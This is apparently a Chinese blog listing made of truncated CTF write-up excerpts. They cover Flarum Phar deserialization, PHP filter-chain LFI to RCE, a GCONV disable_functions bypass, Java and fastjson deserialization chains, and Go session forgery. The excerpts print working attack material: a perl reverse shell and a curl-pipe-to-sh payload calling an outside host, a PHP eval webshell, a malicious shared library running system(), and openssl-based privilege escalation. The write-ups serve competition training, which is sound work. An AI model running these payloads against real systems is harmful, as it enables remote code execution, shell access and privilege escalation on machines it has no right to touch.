Lxxx published on 外网Flarum“弱”口令后台Phar打点 开局一个登录框,卡了3小时
根据主页提示,用户名为administrator,邮箱为administrator@xiaorang.lab
这里直接给出密码,用rockyou.txt跑密码
administrator、1chris 进入后台,这里外网用的是Flarum框架,这个框架去年P牛发过文章,是一个后台RCE的洞:
https://mp.weixin.qq.com/s/EqEyEDKpzxS5BYA_t74p9A 功能点在编辑CSS处
原理简单来说是利用less.php编译Less,在编译的过程中,利用@import (inline)和data伪协议将文件写入到assets/forum.css中,再用data-uri('phar://./assets/forum.css')触发phar反序列化实现命令执行
这里的反序列化链由phpggc生成:
这里反弹shell需要一点小技巧,我这里的打法是:在29999端口的HTTP服务里放一个1.txt,然后在39999端口监听准备拿shell perl -e 'use Socket;$i="1.1.1.1";$p=39999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' 再用phpggc生成
php phpggc -p tar -b Monolog/RCE6 system "curl 1.1.1.1:29999/1.txt|sh" payload如下:
@import (inline) 'data:text/css;base64,dGVzdC50eHQAAAAAAA......'; 访问一下,phar内容成功写入
然后再编辑一下,用data-uri做phar反序列化触发命令执行
.test { content: data-uri("phar://./assets/forum.css"); } 拿shell
接下来就是提权部分,这题没法用suid提权,用capabilities提权,查找设置了capabilities可执行文件
getcap -r / 2>/dev/null 发现openssl可以利用:
用openssl生成证书 启动web服务监听在8080端口 openssl req -x509 -newkey rsa:2048 -keyout /tmp/key.pem -out /tmp/cert.pem -days 365 -nodes openssl s_server -key /tmp/key.pem -cert /tmp/cert.pem -port 8080 -HTTP 访问本机的web服务,读取root目录下的flag文件
curl --http0.
Lxxx published on 本题不会做镜像,太绕了,各种知识点杂糅在一起,期待Nep公开镜像(
题目信息 题目名称:2023NepCTF Ez_include 题目描述: Apache2每五分钟自动重启,不会影响做题过程 部署题目需要一段时间,请师傅们耐心等待 (若超过10分钟仍然无法访问,请销毁容器再重新开启) 可以参考:https://tttang.com/archive/1395/ WriteUp 本题参考了其他师傅的解,目前在绕过disable_functions部分看到两种打法,分别是利用GCONV和LD_PRELOAD环境变量绕disable_functions 本题大概思路如下:
利用PHP的filter伪协议完成LFI到RCE 利用DOMDocument原生类写入文件绕过disable_functions 环境变量提权拿flag GCONV 首先打开题目,点击主页的按钮,有个link参数,比较明显存在文件包含
这里后端做了个拼接,传入/tmp/resources/4会变成/tmp/resources/4.txt
用php_filter_chain_generator生成一段LFI2RCE的神秘字符串(具体原理这里不阐述,简单来说就是利用Base64和UTF8转UTF7特性拼凑出一段webshell,进而包含webshell实现命令执行)
https://github.com/synacktiv/php_filter_chain_generator python3 php_filter_chain_generator.py --chain "<?php eval(\$_POST[1]);?>" 接着将上方生成的字符串传给link参数,一句话木马的密码为1,执行命令即可,注意这里有disable_functions,所以先执行phpinfo查看disable_functions和disable_classes有哪些
disable_functions和disable_classes内容分别如下
fpassthru,fgetss,fgets,fopen,fread,show_souce,stream_socket_client,fsockopen,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,error_log,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive,pfsockopen,readfile,file_get_contents,file_put_contents,fputs,fwrite,delete,rmdir,rename,chgrp,chmod,chown,copy,chdir,mkdir,file,chroot,assert,dl,move_upload_file,sysmlink,readlink,curl_init,curl_exec Exception,SplDoublyLinkedList,Error,ErrorException,ArgumentCountError,ArithmeticError,AssertionError,DivisionByZeroError,CompileError,ParseError,TypeError,ValueError,UnhandledMatchError,ClosedGeneratorException,LogicException,BadFunctionCallException,BadMethodCallException,DomainException,InvalidArgumentException,LengthException,OutOfRangeException,PharException,ReflectionException,RuntimeException,OutOfBoundsException,OverflowException,PDOException,RangeException,UnderflowException,UnexpectedValueException,JsonException,SplFileObject,SodiumException 同理,还发现了题目环境设置了open_basedir
这部分蚁剑是可以正常连接的
这里面有一个hint.ini,是php.ini配置,
其中/tmp目录在蚁剑是可以访问的,直接在红色方框处输入路径读取即可
接下来就是绕过disable_functions,这里用GCONV绕过disable_functions,完整打法如下:
为了后面的数据包简便,这里先利用前面的马子写Webshell到/tmp/test.txt,由于file_put_contents等函数都被过滤了,这里利用DOMDocument原生类写文件(注意URL编码)
1=$f="/tmp/test.txt"; $d=new DOMDocument(); $d->loadHTML("PD9waHAgaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCdPbicpO2V2YWwoJF9QT1NUWzFdKTs%2FPg%3D%3D"); $d->saveHtmlFile("php://filter/string.strip_tags|convert.base64-decode/resource=$f"); 写完之后,可以在蚁剑看看文件大小是否正确
再写一个payload.c,在本地将其编译成恶意动态链接库,该恶意动态链接库会执行1.sh文件内容(这种打法比较稳定,我本地在gconv_init()中直接弹shell是可以的,题目远程不行,估计是环境限制的比较多)
#include <stdio.h> #include <stdlib.h> void gconv() {} void gconv_init() { puts("pwned"); system("chmod 777 /tmp/1.sh;/tmp/1.sh"); exit(0); } gcc payload.c -shared -fPIC -o payload.so 读取payload.so的Base64编码内容:
cat payload.so | base64 利用上方DOMDocument的方式完成文件写入(同样记得将文件内容做URL编码):
Lxxx published on 镜像信息 题目名称:2023CISCN初赛DebugSer docker镜像:lxxxin/ciscn2023_deserbug flag信息: /flag 内部端口:8888 注意: 部署时,容器至少需要256MB的运行内存,否则容器将无法启动 题目描述: cn.hutool.json.JSONObject.put->com.app.Myexpect#getAnyexcept 容器启动可能需要一两分钟,请耐心等待! 附件: deserbug_4eafaf14e8f7df3b534ba30ed1881ff0.zip
启动脚本 docker run -it -d -p 12345:8888 -e FLAG=flag{8382843b-d3e8-72fc-6625-ba5269953b23} lxxxin/ciscn2023_deserbug WriteUp 这题考察cc链的改造,先下载附件分析:
Testapp类中直接对传入的bugstr参数base64解码并反序列化,并且还会调用toString()方法
题目用的是CC3.2.2依赖,在CC3.2.2及以后,对一些不安全的Java类的序列化增加了开关,默认为关闭状态,比如CC6要用到的InvokerTransformer类就被干掉了
不过题目给了一个Myexcept类,注意getAnyexcept方法可以实例化一个单参数的类
这一段实例化TrAXFilter类:
因此sink点就是TemplatesImpl类
再拼接一下中间的gadget,题目给了下方的提示:
cn.hutool.json.JSONObject.put->com.app.Myexpect#getAnyexcept 那接下来就是要找调用put的地方,其中LazyMap#get方法可以调用put
再就是找调用get的地方,要求调用get的只有一个参数,并且是Map类的实现类 使用Tabby寻找的语法如下(From atao):
match (source:Method {NAME:"toString"}) where source.CLASSNAME=~"org.apache.commons.collections.*" match (sink:Method {NAME:"get", CLASSNAME:"java.util.Map"}) where sink.PARAMETER_SIZE=1 with source, collect(sink) as sinks call tabby.algo.findJavaGadget(source, sinks, 3, false, true) yield path return path 最终找到的类是TiedMapEntry
堆栈信息如下:
exec:347, Runtime (java.lang) ...... getTransletInstance:455, TemplatesImpl (com.
Lxxx published on 镜像信息 题目名称:2023CISCN初赛gosession docker镜像:lxxxin/ciscn2023_gosession flag信息: 根目录下 内部端口:80 注意: 部署时,容器至少需要256MB的运行内存,否则容器将无法启动 题目描述: ctfer按照官方文档的模板编写了代码,但是好像哪里出了问题。 容器启动可能需要一两分钟,请耐心等待! 附件: go_session_4c91af79780fc70a4d21b272ba3a371c.zip
启动脚本 docker run -it -d -p 12345:80 -e FLAG=flag{8382843b-d3e8-72fc-6625-ba5269953b23} lxxxin/ciscn2023_gosession WriteUp 下载附件,放到Goland中分析,题目一共三个路由:
Index Admin Flask 先看Index路由,Index路由内容很简单,直接赋了个session,session中的name值为guest,这里发现session的key是通过SESSION_KEY环境变量获取的
再看Admin路由:
这里对session做了验证,需要name为admin 这里用pongo2做模板渲染,存在模板渲染漏洞 接着看Flask路由:
Flask路由会请求靶机里5000端口服务,并把请求页面回显 经过测试,得到以下结论:
5000端口为python的flask服务,开启了debug模式,源码不存在ssti漏洞 session默认key为空,可以直接伪造admin用户 flask源码可以通过让flask报错获取:
/flask?name=/ 源码如下: 本题正确思路如下:
由于session默认key为空,伪造admin用户后可以调用Admin路由 Admin路由中存在pongo2模板注入漏洞,pongo2模板语法可以参考Django模板语法 通过Django模板注入覆盖/app/server.py文件,由于python服务是可以“热部署”的,因此覆盖恶意文件后,再通过Flask路由调用即可RCE 再说一下错误思路:
错误思路是利用pongo2模板语法读取算PIN所需的文件,计算出PIN后通过Flask路由请求/console实现RCE,但是想在/console中执行命令仅通过GET传参是无法完成验证的,并且后续执行代码请求都需要携带Cookie验证,所以这条路走不通 首先获取一下admin用户的session:
把下方代码加到route里,访问即可拿到伪造后的session func Key(c *gin.Context) { session, _ := store.Get(c.Request, "session-name") session.Values["name"] = "admin" session.Save(c.Request, c.Writer) c.String(200, "Hello, guest") } admin用户的session如下:
MTY4NTE2OTE4MHxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXzUn0khtUAglbEqre0c-3PmfQg0snOpUCSYyvq07U4AKw== 接着构造请求包覆盖/app/server.py:
注意name值需要url编码 c.
Lxxx published on 题目信息 题目名称:2023SCTF fumo_backdoor flag信息: /flag 内部端口:80 题目描述: 附件: _media_file_task_96a478b7-b206-403e-8430-886186a82097.zip
启动脚本 解压附件之后,进入文件夹,执行以下命令:
docker-compose up -d 或者用docker起也可以(比赛环境为不出网,建议还是docker-compose起,这题如果出网的话可以用Imagick类出网非预期RCE了)
docker run -it -d -p 12345:80 -e FLAG=flag{8382843b-d3e8-72fc-6625-ba5269953b23} lxxxin/sctf2023_fumobackdoor WriteUp 下载附件,审计源码,题目是不出网的
题目开了imagick扩展,/var/www/html目录不可写
再审计源代码,一共有三个功能点:
反序列化 删除/tmp目录下的所有内容(这算是题目的提示了) 高亮当前文件 再看题目给的后门类:
其实这里sink点有两个,一个是readfile读取文件,另一个是new $a($b)格式的代码 对于new $a($b)格式的代码,如果题目出网并且web目录可写的话,是可以直接RCE的,但是本题既不出网,web目录又不可写 因此题目的sink点就在readfile了,那么如何触发__sleep()魔术方法呢,__sleep魔术方法会在序列化的时候被调用 所以整个攻击流程如下:
首先把/tmp目录清空:
GET /?cmd=rm HTTP/1.1 Host: 1.1.1.1:49338 再制作一个PPM图片,选择PPM的原因是PPM末尾允许添加一些脏数据,并且该脏数据也不会被imagick抹去
session的内容生成方式如下:
这里我们设置path属性为/tmp/res路径,这个路径就是/flag复制之后的路径 重点看16行,这里的脏数据的数量其实是有一定要求的,在第12行设置了PPM图片的长和宽,即9*9像素,这里的脏数据+序列化数据的数量需要大于等于3*9*9且小于等于4*9*9(这里3和4可以简单理解为每个像素所占用的字节),具体原理不深究了,这里就当做记个结论(如果有其他想法,可以随时私信讨论) <?php class fumo_backdoor { public $path = null; public $argv = null; public $func = null; public $class = null; } $a = new fumo_backdoor(); $a->path = "/tmp/res"; // 复制后的flag路径 $ppmhead = "P6 9 9 255 " ; $sdata = "|" .
Lxxx published on 题目信息 题目名称:2023SCTF pypyp? 题目镜像:lxxxin/sctf2023_pypyp flag信息: /flag(需要SUID提权) 内部端口:80 题目描述:a piece of cake but hard work。per 5 min restart. pay attention to /app/app.py 启动脚本 docker run -it -d -p 12345:80 -e FLAG=flag{8382843b-d3e8-72fc-6625-ba5269953b23} lxxxin/sctf2023_pypyp WriteUp 打开题目显示没有session
可以利用SESSION_UPLOAD_PROGRESS创建一个session:
下方的proxies为BurpSuite的代理地址 import requests url = "http://1.1.1.1:49343/" data = { "PHP_SESSION_UPLOAD_PROGRESS":"a" } file = { "file": ("a","a") } cookies = { "PHPSESSID": "a" } proxies = { "http": "127.0.0.1:8080" } req = requests.post(url, data=data, files=file, cookies=cookies, proxies=proxies) print(req.
Lxxx published on 题目信息 题目名称:2023巅峰极客 BabyURL 题目镜像:lxxxin/dfjk2023_babyurl 内部端口:8080 题目附件: attachment.zip
启动脚本 docker run -it -d -p 12345:8080 -e FLAG=flag{8382843b-d3e8-72fc-6625-ba5269953b23} lxxxin/dfjk2023_babyurl WriteUp SignedObject二次反序列化 该打法仅能列目录读文件,比赛时可以直接读文件获得flag,本镜像的flag需要suid提权后才能读到,如果仅想复现该打法,进入容器给/flag赋读权限即可
下载附件,反编译,文件
结构如下:
在IndexController中的/hack路由中有反序列化入口
这里反序列化是自定义对象输入流,把URLVisiter和URLHelper过滤掉了
/file路由会读取/tmp/file的内容并返回
在URLHelper类中有个反序列化入口
由于URLHelper类被过滤了,无法直接反序列化,不过可以二次反序列化
SignObject#getObject会触发二次反序列化
接下来问题就转换成如何调用SignObject#getObject
这个考点在2023阿里云CTF的Bypassit1有考察过
2023阿里云CTF Bypassit1
本地重写一下BaseJsonNode�类,把writeReplace方法删除掉才能正常反序列化
完整的PoC如下:
在URLHelper中会对传入的url做校验,不过用的是myurl.startsWith("file")方式校验,可以通过大写绕过 import com.fasterxml.jackson.databind.node.POJONode; import com.yancao.ctf.bean.URLHelper; import com.yancao.ctf.bean.URLVisiter; import javax.management.BadAttributeValueExpException; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.security.*; public class BabyURLPoC { public static String filePath = "/path/to/ser.bin"; public static void main(String[] args) throws Exception { URLHelper handler = new URLHelper("File:///"); // URLHelper handler = new URLHelper("File:///flag"); handler.
Lxxx published on 题目信息 题目名称:2023闽盾杯初赛babyja docker镜像:lxxxin/mdb2023_babyja flag信息: /flag.txt 内部端口:8080 附件: 关卡4.zip
启动脚本 docker run -it -d -p 12345:8080 -e FLAG=flag{8382843b-d3e8-72fc-6625-ba5269953b23} lxxxin/mdb2023_babyja WriteUp 下载附件,反编译
先看依赖,用了vaadin、fastjson、c3p0、mysql-jdbc,这里用的每个组件都是存在漏洞的
再看控制器部分,其中/admin/{name}路由存在JSON解析,需要传入data参数(参数值需base64编码),这里就是入口点了
在JSON解析前,会在SecurityCheck类中做匹配:
题目用的fastjson是1.2.24版本(算是比较旧的版本了),过滤了TemplatesImpl、JdbcRowSetImpl等常用的sink点
不过题目还提供了MyBean类,MyBean#getConnection会做JDBC连接
由于题目使用的fastjson1.2.24,无法直接通过parse调用getter方法,在fastjson1.2.47以后可以通过parse调用getter方法(如果要调用开发者自定义类的getter需要开启AutoTypeSupport选项,挺鸡肋的)
不过题目还用了一个vaadin依赖,该依赖也存在反序列化漏洞,可以反射调用任意类的所有getter方法,具体vaadin反序列化流程参考su18👴🏻的博客:
Java 反序列化漏洞(五) - ROME/BeanShell/C3P0/Clojure/Click/Vaadin | 素十八
题目还用了SpringSecurity对/admin下的路由做权限验证,不过账号密码硬编码在代码中,可以直接登录使用:
整理一下,完整的攻击思路如下:
首先用账号密码登录到后台 访问/admin/路由,POST传入data参数 服务端对传入的data参数base64解码,并调用fastjson的parse解析 题目中存在fastjson1.2.24依赖,这里我们用fastjson1.2.47的payload打c3p0,通常fastjson打c3p0都是打jndi,不过题目过滤掉了jndi,这里打c3p0的WrapperConnectionPoolDataSource,也就是打HEX序列化字节加载器二次反序列化 二次反序列化内容是vaadin依赖打MyBean#getConnection触发JDBC连接读目录,再读文件内容 完整的EXP如下:
虽然题目过滤了BadAttributeValueExpException字符串,但是没有过滤其十六进制值,因此可以使用BadAttributeValueExpException类,题目黑名单过滤的54656D706C61746573496D706C是TemplatesImpl类 user=fileread_file:///.用于列出/目录下所有文件,具体用法可参考:https://github.com/fnmsd/MySQL_Fake_Server import javax.management.BadAttributeValueExpException; import com.ctf.bean.MyBean; import com.vaadin.data.util.NestedMethodProperty; import com.vaadin.data.util.PropertysetItem; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; public class BabyjaPoC { public static void main(String[] args) throws Exception{ // 注入JDBC连接字符串,最后用#闭合无用字符 MyBean myBean =new MyBean(); myBean.